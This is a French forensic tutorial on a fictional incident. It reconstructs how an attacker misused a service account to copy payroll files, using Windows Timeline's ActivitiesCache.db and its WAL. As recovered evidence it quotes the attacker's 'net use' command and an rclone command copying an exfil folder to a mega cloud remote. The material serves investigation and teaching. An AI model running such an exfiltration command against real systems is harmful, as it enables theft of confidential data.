Enquête Windows Timeline : un cas d'exfiltration
Cas fictif pas à pas : reconstituer la session interactive d'un compte de service et l'exfiltration de la paie grâce à ActivitiesCache.db et à son WAL.
En bref. Dans ce cas fictif, la Timeline du compte svc_backup sur le poste FIN-WKS-07 montre une archive d'outils ouverte depuis Downloads, un fichier d'identifiants lu dans Notepad, une commande net use dans le presse-papiers, une session RDP, un partage de paie parcouru, un fichier Excel ouvert depuis E:\exfil, cinq minutes de focus dans rclone.exe depuis C:\Users\Public, une commande rclone copy ... mega: dans le presse-papiers et une suppression en attente de l'entrée Notepad. Les cinq derniers éléments n'existent que dans le WAL.
Avertissement : scénario fictif. Tout ce qui suit est inventé : l'organisation, le poste, le compte, les fichiers et les heures. Le cas correspond à la base « Essayer un exemple » de la page d'accueil du Windows Timeline Parser : vous pouvez suivre avec les mêmes lignes. L'histoire prolonge l'intrusion
svc_backuputilisée sur l'ensemble de cette famille de sites de parseurs.
L'appel
Lundi 14 septembre 2026, en milieu d'après-midi. Le serveur de fichiers de la comptabilité, FILESRV01, montre un pic de lectures inhabituel sur \\FILESRV01\Finance\Payroll en fin de matinée. Le compte en cause est svc_backup, un compte de service qui ne devrait jamais ouvrir de session interactive. Le seul poste où il possède un profil est FIN-WKS-07. La machine est toujours allumée.
L'intervenant lance une collecte de triage qui inclut la cible KAPE WindowsTimeline : C:\Users\svc_backup\AppData\Local\ConnectedDevicesPlatform\L.svc_backup\ revient avec ActivitiesCache.db et ActivitiesCache.db-wal (guide d'acquisition).
Première question : une personne a-t-elle utilisé ce compte au clavier, et qu'a-t-elle fait ?
Premier passage : charger et lire les compteurs
Déposer le ZIP de collecte dans l'outil associe la base à son WAL et l'attribue à svc_backup d'après le chemin Users\svc_backup\. Aucun avertissement : le WAL correspond, toutes les trames sont validées.
Les compteurs constituent le premier constat. On y trouve des activités de tous les types intéressants, des éléments de presse-papiers et une suppression. Plusieurs lignes sont marquées Uniquement dans le WAL : elles ont été écrites après le dernier checkpoint. Si l'intervenant n'avait pris que la base, ces lignes n'existeraient pas.
La session, ligne par ligne
Les heures sont en UTC. Le userTimezone du payload est Europe/Paris (UTC+2 à cette date) : l'horloge de l'utilisateur affichait deux heures de plus.
| UTC | Type | Application | Élément | Marqueurs |
|---|---|---|---|---|
| 10:02 à 10:08 | Utilisation (360 s) | %SystemRoot%\System32\cmd.exe | ||
| 10:06:40 | Ouverture | %ProgramFiles%\7-Zip\7zFM.exe | C:\Users\svc_backup\Downloads\tools.zip | Dossier modifiable par l'utilisateur |
| 10:10:05 | Ouverture | Notepad | C:\ProgramData\Intel\creds.txt | Dossier modifiable par l'utilisateur |
| 10:10:05 à 10:14:05 | Utilisation (240 s) | Notepad | ||
| 10:12:30 | Presse-papiers | Notepad | net use \\FILESRV01\Finance /user:CORP\svc_backup | Presse-papiers |
| 10:18:40 à 10:30 | Utilisation (680 s) | mstsc.exe | ||
| 10:31:07 | Ouverture | File Explorer | \\FILESRV01\Finance\Payroll | Chemin réseau |
| 10:31:07 à 10:44 | Utilisation (770 s) | File Explorer | Modifiée dans le WAL | |
| 10:40:12 | Ouverture | Excel | E:\exfil\finance_2026\Payroll_2026.xlsx | Autre lecteur, Uniquement dans le WAL |
| 10:47:02 | Presse-papiers | cmd.exe | rclone copy E:\exfil mega:fin-backup --transfers 8 | Presse-papiers, Uniquement dans le WAL |
| 10:47:12 à 10:52:30 | Utilisation (318 s) | C:\Users\Public\rclone.exe | Dossier modifiable par l'utilisateur, Uniquement dans le WAL | |
| 10:55:20 | Opération : suppression | Notepad | (l'activité creds.txt) | Suppression, Uniquement dans le WAL |
Lecture selon la méthode de l'article sur la preuve d'exécution :
Quelqu'un était au clavier. Le temps de focus dans cmd.exe, Notepad, mstsc.exe, l'Explorateur et rclone.exe traduit un usage interactif, pas une tâche planifiée. Un compte de service avec vingt minutes d'activité au premier plan est un constat en soi.
L'outillage est arrivé dans une archive. tools.zip dans le dossier Downloads du compte, ouvert avec 7-Zip quatre minutes après le début de la session. Étape suivante : le journal USN et Prefetch pour savoir ce qui en est sorti.
Des identifiants ont été préparés dans un fichier. C:\ProgramData\Intel\creds.txt n'est pas un fichier Intel. Quatre minutes de focus dans Notepad, et une commande net use au nom du compte copiée dans le presse-papiers deux minutes plus tard. La ligne de presse-papiers est un contenu de type 10, qui n'existe que parce que l'historique et la synchronisation du presse-papiers étaient activés sur cette machine (analyse du presse-papiers).
Le partage a été parcouru, plus longtemps qu'il n'y paraissait. La session de focus de l'Explorateur sur le dossier Payroll affiche 350 secondes dans la base reportée, et 770 secondes dans le WAL. La ligne a été mise à jour après le checkpoint. Citer la base seule diviserait par deux le temps passé sur le partage.
Ce que seul le WAL sait
Tout ce qui suit 10:40 n'existe que dans le WAL :
- Excel a ouvert
Payroll_2026.xlsxdepuisE:\exfil\finance_2026\: un second lecteur, probablement amovible. Timeline donne la lettre, pas le périphérique. Les fichiers LNK et les Jump Lists d'Excel portent les informations de volume ; l'historique USB se trouve dans le registre. rclone.exea tourné depuisC:\Users\Public\, enregistré via un AppIdx_exe_path(un exécutable autonome, pas une application installée), avec 318 secondes de focus.- Le presse-papiers contient la commande exacte :
rclone copy E:\exfil mega:fin-backup --transfers 8. Elle nomme le dossier source, la destination (mega:, un nom de remote défini dans la configuration rclone de l'utilisateur, d'après la documentation de rclone) et le parallélisme. - À 10:55:20, une opération de suppression a été mise en file pour l'activité
creds.txt: quelqu'un a retiré cette entrée de son historique des activités (anti-forensique). La ligneActivityd'origine est toujours là, et l'opération elle-même est une preuve horodatée de la tentative de nettoyage.
Sans le WAL, le rapport s'arrêterait sur une fenêtre de l'Explorateur ouverte sur un partage. Avec lui, le rapport a le dossier de préparation, l'outil, la commande et le nettoyage. C'est le sens concret de pourquoi le fichier -wal compte.
Plan de corroboration
Timeline fournit le récit ; chaque affirmation a encore besoin d'un second témoin.
| Affirmation | Corroborer avec |
|---|---|
rclone.exe s'est exécuté | Prefetch RCLONE.EXE-*.pf, SHA-1 dans AmCache |
| Des données sont sorties | Usage réseau de rclone.exe dans SRUM, journaux du proxy ou du pare-feu |
E: était un périphérique USB | Clés USB de SYSTEM via le parseur de registre, numéro de série du volume dans les LNK |
| RDP vers quel hôte | Jump List de mstsc, clés de registre Terminal Server Client, journaux d'événements sur la cible |
Contenu de creds.txt | Le fichier lui-même, ou ses traces dans la Corbeille et le journal USN |
| Type d'ouverture de session du compte | Événements 4624 du journal Security dans EVTX |
Ce qu'il faut écrire
Une synthèse défendable pour le rapport :
« La base d'historique des activités de svc_backup sur FIN-WKS-07 (ActivitiesCache.db avec son journal write-ahead, empreintes en annexe) enregistre une utilisation interactive du compte entre 10:02 et 10:55 UTC le 14 septembre 2026, notamment l'ouverture par Excel de E:\exfil\finance_2026\Payroll_2026.xlsx à 10:40:12, 318 secondes d'utilisation active de C:\Users\Public\rclone.exe à partir de 10:47:12, et un contenu de presse-papiers cohérent avec une copie rclone vers un remote nommé mega. Ces enregistrements n'existent que dans le journal write-ahead. Une suppression de l'activité relative à C:\ProgramData\Intel\creds.txt a été mise en file à 10:55:20. »
Puis le tableau de corroboration, complété.
À vous de jouer
Ouvrez l'outil, cliquez sur Essayer un exemple et reproduisez le tableau ci-dessus : cochez Signalées uniquement et repérez le marqueur Uniquement dans le WAL, puis passez le filtre de type sur Opérations en attente. Le guide pas à pas explique chaque contrôle.